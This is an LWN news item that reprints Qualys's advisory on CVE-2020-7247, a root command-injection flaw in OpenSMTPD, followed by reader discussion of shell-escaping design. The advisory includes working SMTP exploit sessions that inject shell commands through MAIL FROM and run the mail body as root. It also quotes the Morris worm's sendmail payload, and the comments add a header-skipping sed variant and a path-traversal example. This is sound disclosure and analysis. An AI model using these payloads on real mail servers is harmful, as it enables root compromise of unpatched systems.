|
|
Log in / Subscribe / Register

Unpleasant vulnerability in OpenSMTPD

Qualys has put out an advisory regarding a vulnerability in OpenBSD's OpenSMTPD mail server. It "allows an attacker to execute arbitrary shell commands, as root: either locally, in OpenSMTPD's default configuration (which listens on the loopback interface and only accepts mail from localhost); or locally and remotely, in OpenSMTPD's 'uncommented' default configuration (which listens on all interfaces and accepts external mail)." OpenBSD users would be well advised to update quickly.


From:  Qualys Security Advisory <qsa-AT-qualys.com>
To:  "oss-security-AT-lists.openwall.com" <oss-security-AT-lists.openwall.com>
Subject:  [oss-security] LPE and RCE in OpenSMTPD (CVE-2020-7247)
Date:  Tue, 28 Jan 2020 23:15:20 +0000
Message-ID:  <20200129000550.GD10785@localhost.localdomain>
Archive-link:  Article


Qualys Security Advisory

LPE and RCE in OpenSMTPD (CVE-2020-7247)


==============================================================================
Contents
==============================================================================

Summary
Analysis
Exploitation
Acknowledgments


==============================================================================
Summary
==============================================================================

We discovered a vulnerability in OpenSMTPD, OpenBSD's mail server. This
vulnerability is exploitable since May 2018 (commit a8e222352f, "switch
smtpd to new grammar") and allows an attacker to execute arbitrary shell
commands, as root:

- either locally, in OpenSMTPD's default configuration (which listens on
  the loopback interface and only accepts mail from localhost);

- or locally and remotely, in OpenSMTPD's "uncommented" default
  configuration (which listens on all interfaces and accepts external
  mail).

We developed a simple proof of concept and successfully tested it
against OpenBSD 6.6 (the current release) and Debian testing (Bullseye);
other versions and distributions may be exploitable.


==============================================================================
Analysis
==============================================================================

OpenSMTPD's smtp_mailaddr() function is responsible for validating
sender (MAIL FROM) and recipient (RCPT TO) mail addresses:

------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }
------------------------------------------------------------------------------

- it calls valid_domainpart() to validate the domain name (after the @
  sign) of a mail address -- this function only accepts IPv4 and IPv6
  addresses, and alpha-numeric, '.', '-', and '_' characters;

- it calls valid_localpart() to validate the local part (before the @
  sign) of a mail address -- this function only accepts alpha-numeric,
  '.', and MAILADDR_ALLOWED characters (a white list from RFC 5322):

  71 #define MAILADDR_ALLOWED        "!#$%&'*/?^`{|}~+-=_"

Among the characters in MAILADDR_ALLOWED, the ones that are also in
MAILADDR_ESCAPE are later transformed into ':' characters (escaped) by
mda_expand_token():

  72 #define MAILADDR_ESCAPE         "!#$%&'*?`{|}~"

smtp_mailaddr()'s white-listing and mda_expand_token()'s escaping are
fundamental to OpenSMTPD's security -- they prevent dangerous characters
from reaching the shell that executes MDA commands (in mda_unpriv()):

        execle("/bin/sh", "/bin/sh", "-c", mda_command, (char *)NULL,
            mda_environ);

Mail Delivery Agents (MDAs) are responsible for delivering mail to local
recipients; for example, OpenSMTPD's default MDA method is "mbox", and
the corresponding MDA command is (in parse.y):

        asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

where %{user.username} is the name of an existing local user (the local
part of the recipient address), and %{mbox.from} is the sender address
(which would be under the complete control of an attacker if it were not
for smtp_mailaddr()'s white-listing and mda_expand_token()'s escaping).

Unfortunately, we discovered a vulnerability in smtp_mailaddr()
(CVE-2020-7247):

------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }
------------------------------------------------------------------------------

If the local part of an address is invalid (line 2218) and if its domain
name is empty (line 2229), then smtp_mailaddr() adds the default domain
automatically (line 2230) and returns 1 (line 2232), although it should
return 0 because the local part of the address is invalid (for example,
because it contains invalid characters).

As a result, an attacker can pass dangerous characters that are not in
MAILADDR_ALLOWED and not in MAILADDR_ESCAPE (';' and ' ' in particular)
to the shell that executes the MDA command. For example, the following
local SMTP session executes "sleep 66" as root, in OpenSMTPD's default
configuration:

------------------------------------------------------------------------------
$ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
MAIL FROM:<;sleep 66;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

How about a nice game of chess?
.
250 2.0.0 e6330998 Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------


==============================================================================
Exploitation
==============================================================================

Nevertheless, our ability to execute arbitrary shell commands through
the local part of the sender address is rather limited:

- although OpenSMTPD is less restrictive than RFC 5321, the maximum
  length of a local part should be 64 characters;

- the characters in MAILADDR_ESCAPE (for example, '$' and '|') are
  transformed into ':' characters.

To overcome these limitations, we drew inspiration from the Morris worm
(https://spaf.cerias.purdue.edu/tech-reps/823.pdf), which exploited the
DEBUG vulnerability in Sendmail by executing the body of a mail as a
shell script:

------------------------------------------------------------------------------
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data

cd /usr/tmp
cat > x14481910.c <<'EOF'
[text of vector program]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c

.
quit
------------------------------------------------------------------------------

Indeed, the standard input of an MDA command is the mail itself: "sed"
removes the headers (which were added automatically by the mail server)
and "/bin/sh" executes the body.

We cannot simply reuse this command (because we cannot use the '|' and
'>' characters), but we can use "read" to remove N header lines (where N
is greater than the number of header lines added by the mail server) and
prepend a "NOP slide" of N comment lines to the body of our mail. For
example, the following remote SMTP session executes the body of our
mail, as root, in OpenSMTPD's "uncommented" default configuration:

------------------------------------------------------------------------------
$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------


==============================================================================
Acknowledgments
==============================================================================

We thank the OpenBSD developers for their great work and their quick
response.



[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-b...>


to post comments

Unpleasant vulnerability in OpenSMTPD

Posted Jan 29, 2020 17:44 UTC (Wed) by epa (subscriber, #39769) [Link] (7 responses)

Having it run a shell command with sh -c seems like such a banana skin I'm surprised an SMTP daemon still does this in 2020.

The only mistake-proof way to use external shell commands is not to escape metacharacters but to forbid them altogether (so validating that each argument only contains A-Za-z0-9 or some other set of characters you can prove is safe under all circumstances). And even then it's a bit of a security smell. If you get into the game of escaping metacharacters, it's far too easy for the escaping to get forgotten in one code path (as happened here) or to get tripped up by the Unix shell's Byzantine syntax or bugs in its implementation.

Why doesn't the code have an array of individual arguments to /usr/libexec/mail.local, rather than a space-separated string that has to be interpreted by the shell?

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 4:43 UTC (Thu) by pabs (subscriber, #43278) [Link] (3 responses)

Indeed, join the The Process Identifier Preservation Society and say no to implicit (and explicit) shell execution today!

https://bonedaddy.net/pabs3/log/2014/02/17/pid-preservati...

Unpleasant vulnerability in OpenSMTPD

Posted Jan 31, 2020 7:10 UTC (Fri) by eru (subscriber, #2753) [Link] (1 responses)

Part of the problem is convenience: I'm sure a lot of system() usage is caused by the fact that historically the only alternative to it in unix-style systems is the cumbersome fork+exec combination. There should have been a "spawn" with an argv[] parameter early on. Nowadays there is posix_spawn(), but with a bit cumbersome parameter list to specify options and environment. A simplified one-parameter version of it should exist, which would just inherit the environment like system() does. The program to run would be obtained automatically from argv[0].

Unpleasant vulnerability in OpenSMTPD

Posted Jan 31, 2020 11:57 UTC (Fri) by epa (subscriber, #39769) [Link]

Perl has two forms of system(), one taking a string interpreted by the shell, and a safer form taking an array of command and arguments, executed as-is. That would be a handy addition to the C library.

One of the keys to OpenBSD's success has been that they don't just fix a bug, they try to fix a whole class of bugs. Let's hope that the whole codebase will be audited for sh -c calls and 95% of them can be replaced with something that's less easy to screw up.

Unpleasant vulnerability in OpenSMTPD

Posted Feb 2, 2020 9:37 UTC (Sun) by adobriyan (subscriber, #30858) [Link]

sudo sh -c "echo 4194304 >/proc/sys/kernel/pid_max"

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 7:10 UTC (Thu) by NYKevin (subscriber, #129325) [Link] (1 responses)

sh -c is the best worst part of Unix.

The best part is how you can shove multiple commands into execve(2), without having to refactor your code.

The worst part is how everyone else can shove multiple commands into execve(2), without having to refactor their code.

Unpleasant vulnerability in OpenSMTPD

Posted Jan 31, 2020 21:37 UTC (Fri) by nzx (guest, #93155) [Link]

I'd put the second sentence like this :-)
"The worst part is how everyone else can shove multiple commands into execve(2), without having to refactor your code. "

Unpleasant vulnerability in OpenSMTPD

Posted Feb 5, 2020 18:45 UTC (Wed) by rweikusat2 (subscriber, #117920) [Link]

The answer to this ("Why doesn't the code have an array ...") is that some MDAs are defined using (Bourne) shell syntax command-lines, specifically, MDAs in user forward files (~/.forward) and /etc/aliases (this is from the dissection). To support this, the MTA executes all MDA commands via sh -c regardless if this is useful for anything in each specific case and because the MTA runs all MDA commands via sh -c, it ends up interpolating data from an untrusted sources into a shell command template in order to run the (sole) MDA which requires privileged process for execution. To make this interpolation safe, the untrusted input has to be quoted such that the shell won't interpret it as commands and the change supposed to support sending mail to local recipient addresses without a domain part by appending the local domain for this accidentally disabled rejection of invalid recipient names without a domain.

That's a perfect stairway to disaster built onto a technically unsound/ risky design decision, namely, for sake of simplicity, run all MDAs via sh -c.

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 0:12 UTC (Thu) by blowry (guest, #135495) [Link] (8 responses)

Is it time to update the "Only two remote holes in the default install" text on OpenBSD.org? Or does that only count daemons that are enabled by default?

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 7:53 UTC (Thu) by zzxtty (guest, #45175) [Link]

Couldn't they get around this problem by having the default installer finish with a 'halt -p'?

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 10:02 UTC (Thu) by HelloWorld (guest, #56129) [Link] (3 responses)

How is something that can only be exploited via the localhost interface a “remote hole”?

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 13:50 UTC (Thu) by ovitters (guest, #27950) [Link] (1 responses)

It's still an issue if you combine it with something else. E.g. might be able to connect via websocket.

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 14:14 UTC (Thu) by excors (subscriber, #95769) [Link]

WebSockets are explicitly designed to be unable to connect to protocols like SMTP (https://tools.ietf.org/html/rfc6455#section-1.6), so it sounds like they shouldn't be able to exploit this vulnerability. Web browsers also block access to port 25 (and many others) to protect services that are behind firewalls. Hopefully other software that can open a local socket on behalf of an untrusted remote user takes similar precautions (and if they didn't then I guess they'd already be heavily exploited by email spammers).

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 16:57 UTC (Thu) by smurf (subscriber, #17840) [Link]

… in the default install. You're free to just allow it to accept remote mail …

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 17:44 UTC (Thu) by jmclnx (guest, #72456) [Link]

That is the way I understand it.

From what I saw, the default configuration it is a local vulnerability. So I guess that phrase is still true.

Unpleasant vulnerability in OpenSMTPD

Posted Jan 30, 2020 18:49 UTC (Thu) by donio (guest, #94) [Link] (1 responses)

They should change it to "n days without a remote hole in the default install"

Unpleasant vulnerability in OpenSMTPD

Posted Jan 31, 2020 6:43 UTC (Fri) by rsidd (subscriber, #2582) [Link]

It used to be that. Then they made it "only one hole", then "only two holes" -- but the second hole was back in 2007. So, indeed, wouldn't it be more impressive to say "zero remote holes in the last 12 years"?

Unpleasant vulnerability in OpenSMTPD

Posted Jan 31, 2020 5:37 UTC (Fri) by suckfish (guest, #69919) [Link] (2 responses)

After 32 years of continuous mail server vulnerabilities since the Morris worm of '88, I suggest:

1. We officially rename SMTP to "Simple Remote Shell Protocol".
2. Simplify all email clients to just remote execution of "echo $EMAIL_CONTENT >> /var/mail/$USERNAME"

Unpleasant vulnerability in OpenSMTPD

Posted Jan 31, 2020 7:39 UTC (Fri) by gdt (subscriber, #6284) [Link] (1 responses)

Sadly it can't be that simple.

To: ../../etc/passwd@example.com
Subject: Please create account

jsmith:x:10000:10000:This is not the user you are looking for:/home/jsmith:/bin/bash

Unfortunately the need for argument cleansing pretty soon drives out simplicity.

Unpleasant vulnerability in OpenSMTPD

Posted Jan 31, 2020 18:32 UTC (Fri) by noahm (subscriber, #40155) [Link]

Unpleasant vulnerability in OpenSMTPD

Posted Feb 1, 2020 8:44 UTC (Sat) by patrick_g (subscriber, #44470) [Link]

Really good post-mortem analysys of the bug (and discussion about future changes to the code) here :

https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dis...

Unpleasant vulnerability in OpenSMTPD

Posted Feb 5, 2020 19:23 UTC (Wed) by rweikusat2 (subscriber, #117920) [Link]

Considering that the header of a mail is separated from the body of it by a blank line, it's also possible to skip this header, regardless of how large it would be. The command

sed -n "s/.//;t;q"
(all of these characters are allowed)

would accomplish that. Due to stdio buffering, the beginning of the body of the mail would then need to be padded with a sufficient amount of neutral characters so that the shell running after the sed command terminated can still read the code it's supposed to execute from stdin.


Copyright © 2020, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds